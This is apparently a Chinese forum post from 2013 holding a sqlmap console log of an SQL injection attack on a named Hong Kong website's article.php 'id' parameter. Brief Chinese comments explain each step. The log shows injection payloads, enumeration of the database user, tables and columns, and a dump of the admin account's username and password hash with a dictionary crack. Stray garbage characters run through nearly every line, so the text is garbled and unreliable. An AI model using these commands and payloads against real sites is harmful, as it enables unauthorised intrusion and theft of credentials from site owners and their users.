D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db. c% ]: A( s! X" L0 o- ` |
ms "Mysql" --current-user /* 注解：获取当前用户名称/ ]% ]6 u$ ]/ K+ e T* ?
sqlmap/0.9 - automatic SQL injection and database takeover tool4 T6 H: h& T) M/ g
http://sqlmap.sourceforge.net starting at: 16:53:541 N* @0 m' i1 k, X( Y" U
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as7 k" H2 ]( \" m6 N2 s) t- b" v
session file' g3 P, m) {- O; e6 Y& _* t
[16:53:54] [INFO] resuming injection data from session file
+ ~0 Z) Z9 Y! T[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
% {/ _2 B' q' b" Z0 R[16:53:54] [INFO] testing connection to the target url
9 {0 f5 p0 ~, }( W6 c; e" Esqlmap identified the following injection points with a total of 0 HTTP(s) reque- b" f- i, F# z
sts:
. W& k% v( V" U5 |---% p2 }/ j8 \9 x1 A
Place: GET; y5 T+ R( m3 M. V/ @) G4 `
Parameter: id$ T, I8 h' @; h6 e3 k, b; K
Type: boolean-based blind
0 w6 C' W7 h, p* a- F Title: AND boolean-based blind - WHERE or HAVING clause
$ T2 B3 x! T+ r- U$ Y Payload: id=276 AND 799=799
3 Y: {! u7 I6 j8 G4 n' l Type: error-based
5 Z) h% a ?% e2 s Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause. D. s" y# m/ n# O1 F
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
- c: N* Q4 E6 ^( l120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
7 [) ` g# ]8 b- Y),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
6 y, Y* F( }8 g# [7 I c Type: UNION query
M0 K0 n" O' k1 L Title: MySQL UNION query (NULL) - 1 to 10 columns
# S, ?( P# e; t Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR0 N. z+ c; u) C- o9 w e- Y
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),: `: b3 @4 W0 D; G6 L; ?: ^
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#" A" r! |0 \: \7 ]
Type: AND/OR time-based blind
" K6 s8 b }) D2 y8 y Title: MySQL > 5.0.11 AND time-based blind
( k. |; }6 L W% O# H- o Payload: id=276 AND SLEEP(5)
" ^2 Z, z, A7 g2 H---0 c& F7 Q$ `7 |; s. Q4 t, q8 K
[16:53:55] [INFO] the back-end DBMS is MySQL
+ C T! W; W! }5 u: Eweb server operating system: Windows
4 g6 I2 E( C/ U% xweb application technology: Apache 2.2.11, PHP 5.3.0
; d- N% C( q7 U1 T2 ]6 Bback-end DBMS: MySQL 5.0
7 h0 }: m+ P# e8 i) b9 X[16:53:55] [INFO] fetching current user. i, G9 e0 A9 n `. b5 T. F
current user: 'root@localhost'
. }% Y5 E, ?- r2 g[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
; ~2 v+ ]! {( Z# _tput\www.wepost.com.hk' shutting down at: 16:53:58
3 g, S1 I: \* @, K4 e+ L( {" g" l/ Q' }# ~: C$ s
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
+ ]& w3 L% M1 j9 F& Q: F" i' s. xms "Mysql" --current-db /*当前数据库4 E4 K T! q3 O' W1 Z
sqlmap/0.9 - automatic SQL injection and database takeover tool
" d+ j, Z; s! u4 v; \/ b- }: @$ V+ s http://sqlmap.sourceforge.net starting at: 16:54:16
( z. k% _4 I! U3 i+ ~1 W, ]8 k[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as: |9 U! N2 [* f( @: x0 ]
session file9 u1 O6 e+ H# k0 d( B
[16:54:16] [INFO] resuming injection data from session file& K0 y6 \4 J! p: l5 c9 e( `
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file9 N2 q2 j( s' @# K: C
[16:54:16] [INFO] testing connection to the target url. O8 C' e( }1 h4 [7 i
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
: i# d8 L& Y! `- g3 N, dsts:; _: k$ H# _, c* T$ a& q2 [5 X
---
1 a& `1 e0 g4 E( q$ f9 i2 P. o t; ]Place: GET
$ }3 u! q2 P2 J$ F: \# _Parameter: id
" i" h+ w- Z# g$ Q- S5 O. b3 T! F Type: boolean-based blind; \9 w. p6 S! P4 }7 S
Title: AND boolean-based blind - WHERE or HAVING clause
4 C+ C/ k% u! R, B4 R: ?% R Payload: id=276 AND 799=799( H, t; p! v- A2 K& ]# `! l1 q
Type: error-based
' s2 k( Y) b- C* b: w u Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
' V4 w7 ^! A! x& ?7 { Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118," }9 V! P! H% Y7 m. h
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
, P! Y' B6 Q7 g* n+ z1 P),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)+ V9 Q) g* B2 G3 W3 T1 |- {
Type: UNION query2 Y9 O3 W) w% y( ?
Title: MySQL UNION query (NULL) - 1 to 10 columns. ]2 j2 g- `; ~) @
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR! ^/ O* E. l. v. B5 V& y$ E( R! j$ M
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
, b' b3 @9 K$ M4 R+ x. j2 y5 X( i" I0 {CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
* x' s4 M8 K( e) U Type: AND/OR time-based blind
- ?8 {% z% l# T) W: q; W Title: MySQL > 5.0.11 AND time-based blind
& p& }+ G* B, y N- l- R- k Payload: id=276 AND SLEEP(5)
% _- [: ?2 X& ~4 n---
6 R8 q5 O$ b4 _1 v- H" [[16:54:17] [INFO] the back-end DBMS is MySQL, Y0 F4 Z, f- Q1 H( l9 ?
web server operating system: Windows8 j0 h0 v: _! w, ^! i g
web application technology: Apache 2.2.11, PHP 5.3.02 z3 q6 k: i3 y3 r7 j
back-end DBMS: MySQL 5.01 N3 _! Y. x @' q6 K: M/ K/ U
[16:54:17] [INFO] fetching current database
) l, P2 Z- U3 \; V# [) Y$ ^current database: 'wepost'; r0 \- \0 N4 b2 @1 `1 b7 m+ ~* m
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou X% O- m/ T% Q7 w# ?# V
tput\www.wepost.com.hk' shutting down at: 16:54:18$ t9 z6 @. P& f& d7 Y7 f9 W' L% V! G
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
2 b( U5 D( x7 Y; Y. rms "Mysql" --tables -D "wepost" /*获取当前数据库的表名8 O' y+ ?) A7 X- P4 w# |
sqlmap/0.9 - automatic SQL injection and database takeover tool
/ J D/ q) G9 z- b: U/ L http://sqlmap.sourceforge.net starting at: 16:55:25
4 l6 \( [1 Z4 K; E[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
+ H0 E" |, ~- ^0 D( F I session file) W6 [8 j6 E" B4 r7 i) n
[16:55:25] [INFO] resuming injection data from session file* W- @7 u- T/ O2 S4 n. w' F# b* o
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file8 I0 B* Z$ t7 `6 }; }' p
[16:55:25] [INFO] testing connection to the target url
/ L/ E8 Q+ e) T& m( H; Psqlmap identified the following injection points with a total of 0 HTTP(s) reque# Z$ O, P6 w/ G/ `, V9 g
sts:" E* a' o6 J; [+ Y _ `* o) y
---+ O& g+ I( v7 k) Z. U
Place: GET
; }, G1 M9 k8 g5 q7 U# LParameter: id
4 w8 o, T$ o k1 a! V! G Type: boolean-based blind+ [- \, E/ `3 Z3 o9 B6 [; z
Title: AND boolean-based blind - WHERE or HAVING clause
! c, P ]6 Q1 t/ l! [ Payload: id=276 AND 799=799/ C5 W4 F" v a) g* q
Type: error-based
- a: h# _2 W3 q! f! N' U Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause, {/ e W% ?' U w5 D8 z, o. n% n; g3 U
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
; g, [9 w6 i, _3 H5 g120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58# C+ U o I4 L" `: H( o( k
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)( K' d: V% H- w0 |3 n" M, n) w
Type: UNION query
$ ]" {4 T8 x3 d: R, g% O' Z# x# { Title: MySQL UNION query (NULL) - 1 to 10 columns0 U8 C2 |0 m6 I, Q% _ r
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
, i: D/ c1 g2 U$ a- u(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR), ^8 y' E1 s' W1 d) Q) R
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
; e% s4 m( s: }/ B( K5 x2 C Type: AND/OR time-based blind* X% }" ]8 j% u# S
Title: MySQL > 5.0.11 AND time-based blind
$ E& l' p) z: T& a Payload: id=276 AND SLEEP(5)+ j3 A- m) u- j8 n# P# F4 I
---
4 s4 I) o0 t6 J' ^[16:55:26] [INFO] the back-end DBMS is MySQL' z/ C7 |% c" o
web server operating system: Windows
& [2 e* J" u5 N, F% h ?! Mweb application technology: Apache 2.2.11, PHP 5.3.07 o7 i- ?' W1 d% F2 f# ^
back-end DBMS: MySQL 5.0
, J3 Y: i4 [6 c; M7 `. E" N[16:55:26] [INFO] fetching tables for database 'wepost'
0 A N1 ^! H% {$ D* X/ E[16:55:27] [INFO] the SQL query used returns 6 entries
* ^- x; r9 c9 e! \% cDatabase: wepost
! w( X& S+ O% h4 r4 t[6 tables]/ _) e9 x/ I. ~
+-------------+
" |1 H- o' ]' S$ I% L| admin |
0 U8 t9 W+ q4 t! ?| article |
" Y, c5 e. K4 ?| contributor |! g3 N: Y! @3 r- r' B
| idea |3 `1 b4 T* |1 _' ]% ^
| image |+ V7 @# U6 `( m, \
| issue |0 H' n; @+ @! Z& X @1 M. _
+-------------+
% G* j. J. | W( V. s[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
. p, T: x. _. y$ l! B7 B5 {tput\www.wepost.com.hk' shutting down at: 16:55:338 m) T4 @/ Q& q4 f
7 N8 Y/ q) s. J& `+ s3 D, K3 ?- w
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db* Z3 a5 e7 o; X
ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
" f8 d7 i, Z6 X sqlmap/0.9 - automatic SQL injection and database takeover tool
2 f, }9 W7 u& L7 d0 j: K http://sqlmap.sourceforge.net starting at: 16:56:06( P; j3 b8 n4 r# W0 A, M
sqlmap identified the following injection points with a total of 0 HTTP(s) reque8 q$ c- F0 P8 s! W
sts:8 Y' M a4 @) y; q
---
+ ^0 c* Q) L, a" iPlace: GET- V5 G2 K( h/ I) M9 e
Parameter: id
! }+ r/ ^( |; ?6 g7 z% _ Type: boolean-based blind% b- e6 e$ R3 r: B* h+ V2 ^" ?
Title: AND boolean-based blind - WHERE or HAVING clause
- m0 g3 x; D; A% J) W) R Payload: id=276 AND 799=799
% z" t* M/ Q8 w% o Type: error-based
7 Y* r1 }$ \, w Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause$ S) F* M% C- z- ~% Y; b6 b& U
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
2 L8 z6 N& |7 D( e0 A) V120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58% I- l: M( M/ u6 I/ a, W
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a), v. }# W- r1 M- F) P2 ?
Type: UNION query/ Q# x- n6 n w0 ^: [. J# w" I
Title: MySQL UNION query (NULL) - 1 to 10 columns
4 S$ E$ `) S. F' L Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
* m3 B" F* s$ p- J(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR)," x* q* T/ a2 S; z j, S+ g$ s
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
# i) V7 o: e* ~! { Type: AND/OR time-based blind
/ [4 O) D( U4 @4 Q' e3 V Title: MySQL > 5.0.11 AND time-based blind" V+ U, _$ _/ ^
Payload: id=276 AND SLEEP(5)
2 v4 G( \' r- G% G8 W% ]# h---
/ E$ i+ q' |4 ?- `) Bweb server operating system: Windows! _4 C Q7 ~# B# S
web application technology: Apache 2.2.11, PHP 5.3.0
" a1 |7 h* @( i+ rback-end DBMS: MySQL 5.0
: |! p+ P. l8 I: \[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
8 `. r+ ?2 i0 nssion': wepost, wepost+ w( c8 Z8 k9 @: F# ]
Database: wepost
* B" h" U0 q. P3 o, M- F ]Table: admin
, u4 [ V* E6 i6 H& `- f& Y3 H j[4 columns]
7 k4 x0 k) T# o9 x6 `+----------+-------------+
; ?; d9 I3 k$ U5 f4 X| Column | Type |7 W9 g$ |5 {8 l: \
+----------+-------------+ p+ c) r0 Y: H2 i$ t0 H1 b! V
| id | int(11) |
% D9 r# [/ Y# ?| password | varchar(32) |
8 j7 b+ S. g5 b, m( Q| type | varchar(10) |8 s/ e- _) Z3 Y5 C+ m; _
| userid | varchar(20) |
2 N1 M0 q! Z/ ?7 Q9 w# F8 v: `+----------+-------------+7 b- ^/ r7 P) k7 U- {& V! x
shutting down at: 16:56:19
3 w2 Q7 g7 D, a5 I! Q& i7 ^+ `$ Y/ k' x; q
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
! \9 K* S, _) H& |ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容
, Q f9 B+ K7 \( i6 _% m2 v: V sqlmap/0.9 - automatic SQL injection and database takeover tool
" {) n5 D% ~& S http://sqlmap.sourceforge.net starting at: 16:57:142 W. f+ J5 x" J; B/ Q! \
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
6 E4 k/ W4 w" \, b1 c8 J$ k1 {sts:4 C, a# ^5 ^ h A! U. V
---6 a6 `' C( C; \- Z* J
Place: GET
* Q0 x2 b0 V6 LParameter: id
) W! N" L* l8 T; b; I Type: boolean-based blind
9 X( _6 O* j$ \3 D' G Title: AND boolean-based blind - WHERE or HAVING clause8 S3 B3 q0 c/ ?2 k+ w7 R) N$ M8 X
Payload: id=276 AND 799=7993 [: H+ @# a2 i7 `1 I' t/ W
Type: error-based2 \3 k2 d( s* A& U3 G# B
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
% ^. Y$ d! v5 P2 d9 ~9 d Q Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
8 U/ z7 R v& e: n120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' Z4 x. d. s% r0 r
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
9 A1 C' F9 j% u1 q: @9 r* q2 W Type: UNION query+ l/ b) g1 k9 G( i
Title: MySQL UNION query (NULL) - 1 to 10 columns
6 h0 J0 k- u+ h5 i _* B6 e Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
' `2 z( j$ ]5 M) D+ `! p(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),. X" Z& x9 @) |! D
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#! c; t( p1 h+ W/ A, u
Type: AND/OR time-based blind8 _# s5 G1 m, Q7 F0 f& v/ L! q) \2 }
Title: MySQL > 5.0.11 AND time-based blind6 S7 g0 A% f! W4 T$ B+ N8 I
Payload: id=276 AND SLEEP(5): I) A2 A! F+ J/ A6 S5 l* `# G
---
/ P' f, i: O, [+ Eweb server operating system: Windows+ H; m/ F+ e: G: b
web application technology: Apache 2.2.11, PHP 5.3.0; m4 o) n' o; m+ p' a
back-end DBMS: MySQL 5.0
6 O8 P' [* |9 E% Z. Precognized possible password hash values. do you want to use dictionary attack o0 @5 t3 A9 \# h: z; J* `' d) _0 {
n retrieved table items? [Y/n/q] y
9 i* @( E) w5 v3 i. D/ p; u3 K! v/ `what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]) o6 n. w: s7 E' R4 W
do you want to use common password suffixes? (slow!) [y/N] y
7 [, I. W7 z' y' q( oDatabase: wepost
/ ]1 Z" X# x$ N! C7 Z2 y; VTable: admin5 F7 b6 [- H) F% y1 D. E
[1 entry]4 a' t5 ?' Y6 D% y. l8 o; E- N8 Y
+----------------------------------+------------+% Z8 P5 f; H' X
| password | userid |& R+ L8 Y- j7 P6 r2 x0 |/ r ~/ m
+----------------------------------+------------+# e. n4 P: S) `+ _: q
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
|- S" d% k' m& d+----------------------------------+------------+1 t/ |% \9 u! C7 V2 {+ l% e
shutting down at: 16:58:14& l% |. s" Z7 h- \. m/ I4 n( p
+ ?8 V0 y: Q1 A' m. [D:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对